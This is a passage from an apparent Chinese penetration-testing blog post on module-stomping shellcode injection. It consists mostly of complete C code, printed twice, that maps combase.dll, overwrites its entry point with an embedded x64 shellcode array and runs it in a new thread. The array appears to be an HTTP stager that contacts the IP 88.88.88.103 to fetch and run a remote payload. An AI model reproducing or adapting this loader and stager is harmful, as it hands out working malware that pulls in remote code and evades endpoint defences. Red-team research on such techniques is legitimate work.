    0x3A, 0x20, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x2F, 0x34, 0x2E, 0x30, 0x20, 0x28, 0x63,
    0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x20, 0x4D, 0x53, 0x49, 0x45, 0x20,
    0x38, 0x2E, 0x30, 0x3B, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x4E, 0x54, 0x20,
    0x36, 0x2E, 0x31, 0x3B, 0x20, 0x57, 0x4F, 0x57, 0x36, 0x34, 0x3B, 0x20, 0x54, 0x72, 0x69, 0x64,
    0x65, 0x6E, 0x74, 0x2F, 0x34, 0x2E, 0x30, 0x3B, 0x20, 0x53, 0x4C, 0x43, 0x43, 0x32, 0x3B, 0x20,
    0x2E, 0x4E, 0x45, 0x54, 0x20, 0x43, 0x4C, 0x52, 0x20, 0x32, 0x2E, 0x30, 0x2E, 0x35, 0x30, 0x37,
    0x32, 0x37, 0x29, 0x0D, 0x0A, 0x00, 0x6B, 0xA3, 0x29, 0xED, 0x1C, 0xA8, 0x79, 0x69, 0x25, 0xE3,
    0x11, 0x43, 0xEF, 0x68, 0xD6, 0x42, 0x29, 0xB5, 0x7A, 0x19, 0x99, 0x61, 0x7E, 0x98, 0x95, 0x9E,
    0x59, 0x86, 0xC4, 0xF8, 0x2A, 0x07, 0xF6, 0x58, 0x29, 0x13, 0xB7, 0x5C, 0x00, 0x5B, 0x3B, 0x16,
    0x77, 0xC2, 0xE9, 0x51, 0x76, 0xDF, 0xCB, 0x7D, 0x0D, 0xA1, 0x78, 0x45, 0x39, 0xDD, 0x48, 0xB1,
    0xEA, 0xCB, 0xBE, 0x61, 0xE3, 0xD9, 0x7D, 0x5B, 0x8C, 0x01, 0x2E, 0x54, 0xBF, 0x5E, 0x09, 0xAB,
    0xD4, 0xFC, 0x02, 0xEE, 0x8B, 0x01, 0x2D, 0xAA, 0x0F, 0xEC, 0x89, 0xF9, 0x6B, 0x0A, 0x79, 0x7E,
    0xDF, 0x78, 0x55, 0xD3, 0xEE, 0x38, 0x1C, 0x7C, 0xD4, 0x90, 0x85, 0xE8, 0x7D, 0x16, 0x7E, 0x67,
    0x3D, 0x5C, 0x6E, 0xBE, 0x59, 0xB8, 0x05, 0xB7, 0x7C, 0xBE, 0x24, 0xC9, 0x90, 0x16, 0x9E, 0xA8,
    0x3C, 0xDE, 0x68, 0x68, 0x2E, 0x9B, 0x98, 0x70, 0xF7, 0xFA, 0x28, 0xA7, 0x31, 0x0B, 0xC5, 0xD0,
    0xB3, 0xF6, 0x17, 0x36, 0x21, 0x9E, 0x06, 0xF8, 0x16, 0x84, 0x07, 0xA4, 0xD9, 0xEB, 0xB2, 0x6B,
    0xF9, 0xB8, 0xEB, 0x0D, 0x24, 0xE3, 0x0A, 0x8F, 0x10, 0xA4, 0x6A, 0xB5, 0x0F, 0xF0, 0x5F, 0x18,
    0xE0, 0x4B, 0x15, 0x91, 0xC1, 0x83, 0x03, 0x4A, 0xEC, 0xAA, 0x46, 0xC1, 0x71, 0x94, 0x3D, 0x3A,
    0xB7, 0x6D, 0xB3, 0x47, 0xF8, 0x00, 0x41, 0xBE, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x31,
    0xC9, 0xBA, 0x00, 0x00, 0x40, 0x00, 0x41, 0xB8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00,
    0x00, 0x00, 0x41, 0xBA, 0x58, 0xA4, 0x53, 0xE5, 0xFF, 0xD5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89,
    0xE7, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x41, 0xB8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xF9,
    0x41, 0xBA, 0x12, 0x96, 0x89, 0xE2, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x20, 0x85, 0xC0, 0x74, 0xB6,
    0x66, 0x8B, 0x07, 0x48, 0x01, 0xC3, 0x85, 0xC0, 0x75, 0xD7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00,
    0x00, 0x00, 0x00, 0x50, 0xC3, 0xE8, 0x9F, 0xFD, 0xFF, 0xFF, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E,
    0x38, 0x38, 0x2E, 0x31, 0x30, 0x33, 0x00, 0x00, 0x01, 0x86, 0xA0
};
#endif
int main() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    HANDLE  hFile = INVALID_HANDLE_VALUE;
    hFile = CreateFileW(L"C:\\Windows\\System32\\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
    PHANDLE  hSection = NULL;
    NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile);
    ULONG_PTR uMappedModule = NULL;
    SIZE_T  sViewSize = NULL;
    NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE);
    //获取dos头
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);

    //遍历节头找到.text部分
    PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
    ULONG_PTR uTextAddress = NULL;
    SIZE_T sTextSize = NULL;
    for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        //节名称在比较时使用了小写比较,0x20202020是为了忽略大小写。
        if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') {
            //获取.text部分的起始地址和大小。
            uTextAddress = uMappedModule + pImgSecHdr[i].VirtualAddress;
            sTextSize = pImgSecHdr[i].Misc.VirtualSize;
            break;
        }
    }
    //获取入口点
    PULONG_PTR pEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
    //计算从入口点到.text部分末尾的大小
    SIZE_T sTextSizeLeft = sTextSize - ((ULONG_PTR)pEntryPnt - uTextAddress);

    //判断从入口点到.text部分末尾的大小是否大于或等于有效载荷的大小

    if (sTextSizeLeft >= sizeof(shellcode)) {
        printf("可以注入!!!");
    }
}

最后一步就是注入shellcode了。注入shellcode非常简单,只需该内存区域更改为可读可写,将其shellcode通过memcpy函数写进去,再通过VirtualProtect将其更改为可执行,最后通过创建线程的方式来指向该内存区域的起始地址就可以执行了。

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

// 手动定义 SECTION_INHERIT
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;
typedef NTSTATUS(NTAPI* pNtCreateThreadEx)(
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE ProcessHandle,
    IN PVOID StartRoutine,  // 线程执行的函数地址
    IN PVOID Argument OPTIONAL,
    IN ULONG CreateFlags,  // 0x4 表示隐藏线程
    IN SIZE_T ZeroBits,
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    IN PVOID AttributeList OPTIONAL
    );

// NtCreateSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtCreateSection)(
    PHANDLE SectionHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    PLARGE_INTEGER MaximumSize OPTIONAL,
    ULONG SectionPageProtection,
    ULONG AllocationAttributes,
    HANDLE FileHandle OPTIONAL
    );

// NtMapViewOfSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset OPTIONAL,
    PSIZE_T ViewSize,
    SECTION_INHERIT InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
    );
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define DEMON

#ifdef DEMON
unsigned char shellcode[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
    0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
    0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78,
    0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67,
    0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56,
    0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24,
    0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41,
    0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83,
    0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF,
    0xFF, 0xFF, 0x5D, 0x6A, 0x00, 0x49, 0xBE, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x00, 0x41,
    0x56, 0x49, 0x89, 0xE6, 0x4C, 0x89, 0xF1, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x48,
    0x31, 0xC9, 0x48, 0x31, 0xD2, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x41, 0x50, 0x41, 0x50, 0x41,
    0xBA, 0x3A, 0x56, 0x79, 0xA7, 0xFF, 0xD5, 0xEB, 0x73, 0x5A, 0x48, 0x89, 0xC1, 0x41, 0xB8, 0x61,
    0x1F, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x41, 0x51, 0x6A, 0x03, 0x41, 0x51, 0x41, 0xBA,
    0x57, 0x89, 0x9F, 0xC6, 0xFF, 0xD5, 0xEB, 0x59, 0x5B, 0x48, 0x89, 0xC1, 0x48, 0x31, 0xD2, 0x49,
    0x89, 0xD8, 0x4D, 0x31, 0xC9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xBA, 0xEB,
    0x55, 0x2E, 0x3B, 0xFF, 0xD5, 0x48, 0x89, 0xC6, 0x48, 0x83, 0xC3, 0x50, 0x6A, 0x0A, 0x5F, 0x48,
    0x89, 0xF1, 0x48, 0x89, 0xDA, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x31, 0xC9, 0x52,
    0x52, 0x41, 0xBA, 0x2D, 0x06, 0x18, 0x7B, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x85, 0x9D, 0x01, 0x00,
    0x00, 0x48, 0xFF, 0xCF, 0x0F, 0x84, 0x8C, 0x01, 0x00, 0x00, 0xEB, 0xD3, 0xE9, 0xE4, 0x01, 0x00,
    0x00, 0xE8, 0xA2, 0xFF, 0xFF, 0xFF, 0x2F, 0x7A, 0x47, 0x6B, 0x31, 0x00, 0xC4, 0x8F, 0x78, 0xBD,
    0x62, 0x9C, 0xBC, 0x6F, 0xEA, 0x30, 0x98, 0x43, 0xEF, 0xC1, 0x45, 0xE5, 0x58, 0xF8, 0xBB, 0xEA,
    0xAB, 0x02, 0xF3, 0x0A, 0x13, 0x81, 0xE9, 0xA3, 0x1E, 0x54, 0xF2, 0x5E, 0x08, 0x98, 0x21, 0xFB,
    0x7D, 0x47, 0x10, 0xBA, 0x60, 0xA0, 0x83, 0x82, 0xFE, 0x10, 0x64, 0xBF, 0x7A, 0xD0, 0xF6, 0xCE,
    0xA0, 0xA9, 0x59, 0x90, 0x54, 0x88, 0x88, 0xDA, 0x20, 0xBF, 0x82, 0xFA, 0xAA, 0x43, 0x6D, 0x8E,
    0x45, 0x59, 0x13, 0x09, 0x16, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2D, 0x41, 0x67, 0x65, 0x6E, 0x74,
    0x3A, 0x20, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x2F, 0x34, 0x2E, 0x30, 0x20, 0x28, 0x63,
    0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x20, 0x4D, 0x53, 0x49, 0x45, 0x20,
    0x38, 0x2E, 0x30, 0x3B, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x4E, 0x54, 0x20,
    0x36, 0x2E, 0x31, 0x3B, 0x20, 0x57, 0x4F, 0x57, 0x36, 0x34, 0x3B, 0x20, 0x54, 0x72, 0x69, 0x64,
    0x65, 0x6E, 0x74, 0x2F, 0x34, 0x2E, 0x30, 0x3B, 0x20, 0x53, 0x4C, 0x43, 0x43, 0x32, 0x3B, 0x20,
    0x2E, 0x4E, 0x45, 0x54, 0x20, 0x43, 0x4C, 0x52, 0x20, 0x32, 0x2E, 0x30, 0x2E, 0x35, 0x30, 0x37,
    0x32, 0x37, 0x29, 0x0D, 0x0A, 0x00, 0x6B, 0xA3, 0x29, 0xED, 0x1C, 0xA8, 0x79, 0x69, 0x25, 0xE3,
    0x11, 0x43, 0xEF, 0x68, 0xD6, 0x42, 0x29, 0xB5, 0x7A, 0x19, 0x99, 0x61, 0x7E, 0x98, 0x95, 0x9E,
    0x59, 0x86, 0xC4, 0xF8, 0x2A, 0x07, 0xF6, 0x58, 0x29, 0x13, 0xB7, 0x5C, 0x00, 0x5B, 0x3B, 0x16,
    0x77, 0xC2, 0xE9, 0x51, 0x76, 0xDF, 0xCB, 0x7D, 0x0D, 0xA1, 0x78, 0x45, 0x39, 0xDD, 0x48, 0xB1,
    0xEA, 0xCB, 0xBE, 0x61, 0xE3, 0xD9, 0x7D, 0x5B, 0x8C, 0x01, 0x2E, 0x54, 0xBF, 0x5E, 0x09, 0xAB,
    0xD4, 0xFC, 0x02, 0xEE, 0x8B, 0x01, 0x2D, 0xAA, 0x0F, 0xEC, 0x89, 0xF9, 0x6B, 0x0A, 0x79, 0x7E,
    0xDF, 0x78, 0x55, 0xD3, 0xEE, 0x38, 0x1C, 0x7C, 0xD4, 0x90, 0x85, 0xE8, 0x7D, 0x16, 0x7E, 0x67,
    0x3D, 0x5C, 0x6E, 0xBE, 0x59, 0xB8, 0x05, 0xB7, 0x7C, 0xBE, 0x24, 0xC9, 0x90, 0x16, 0x9E, 0xA8,
    0x3C, 0xDE, 0x68, 0x68, 0x2E, 0x9B, 0x98, 0x70, 0xF7, 0xFA, 0x28, 0xA7, 0x31, 0x0B, 0xC5, 0xD0,
    0xB3, 0xF6, 0x17, 0x36, 0x21, 0x9E, 0x06, 0xF8, 0x16, 0x84, 0x07, 0xA4, 0xD9, 0xEB, 0xB2, 0x6B,
    0xF9, 0xB8, 0xEB, 0x0D, 0x24, 0xE3, 0x0A, 0x8F, 0x10, 0xA4, 0x6A, 0xB5, 0x0F, 0xF0, 0x5F, 0x18,
    0xE0, 0x4B, 0x15, 0x91, 0xC1, 0x83, 0x03, 0x4A, 0xEC, 0xAA, 0x46, 0xC1, 0x71, 0x94, 0x3D, 0x3A,
    0xB7, 0x6D, 0xB3, 0x47, 0xF8, 0x00, 0x41, 0xBE, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x31,
    0xC9, 0xBA, 0x00, 0x00, 0x40, 0x00, 0x41, 0xB8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00,
    0x00, 0x00, 0x41, 0xBA, 0x58, 0xA4, 0x53, 0xE5, 0xFF, 0xD5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89,
    0xE7, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x41, 0xB8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xF9,
    0x41, 0xBA, 0x12, 0x96, 0x89, 0xE2, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x20, 0x85, 0xC0, 0x74, 0xB6,
    0x66, 0x8B, 0x07, 0x48, 0x01, 0xC3, 0x85, 0xC0, 0x75, 0xD7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00,
    0x00, 0x00, 0x00, 0x50, 0xC3, 0xE8, 0x9F, 0xFD, 0xFF, 0xFF, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E,
    0x38, 0x38, 0x2E, 0x31, 0x30, 0x33, 0x00, 0x00, 0x01, 0x86, 0xA0
};
#endif
int main() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    HANDLE  hFile = INVALID_HANDLE_VALUE;
    hFile = CreateFileW(L"C:\\Windows\\System32\\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
    PHANDLE  hSection = NULL;
    NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile);
    ULONG_PTR uMappedModule = NULL;
    SIZE_T  sViewSize = NULL;
    NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE);
    //获取dos头
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);

    //遍历节头找到.text部分
    PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
    ULONG_PTR uTextAddress = NULL;
    SIZE_T sTextSize = NULL;
    for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        //节名称在比较时使用了小写比较,0x20202020是为了忽略大小写。
        if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') {
            //获取.text部分的起始地址和大小。
            uTextAddress = uMappedModule + pImgSecHdr[i].VirtualAddress;
            sTextSize = pImgSecHdr[i].Misc.VirtualSize;
            break;
        }
    }
    //获取入口点
    PULONG_PTR pEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
    //计算从入口点到.text部分末尾的大小
    SIZE_T sTextSizeLeft = sTextSize - ((ULONG_PTR)pEntryPnt - uTextAddress);

    //判断从入口点到.text部分末尾的大小是否大于或等于有效载荷的大小

    if (sTextSizeLeft >= sizeof(shellcode)) {
        printf("可以注入!!!");
    }
    DWORD   dwOldProtection = 0x00;
    VirtualProtect(pEntryPnt, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(pEntryPnt, shellcode, sizeof(shellcode));
    VirtualProtect(pEntryPnt, sizeof(shellcode), dwOldProtection, &dwOldProtection);

    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    PHANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL);

    WaitForSingleObject(hThread, INFINITE);
}
  • 发表于 2025-02-24 09:34:44
  • 阅读 ( 2708 )
  • 分类:渗透测试

0 条评论

请先 登录 后评论
南陈
南陈

2 篇文章

站长统计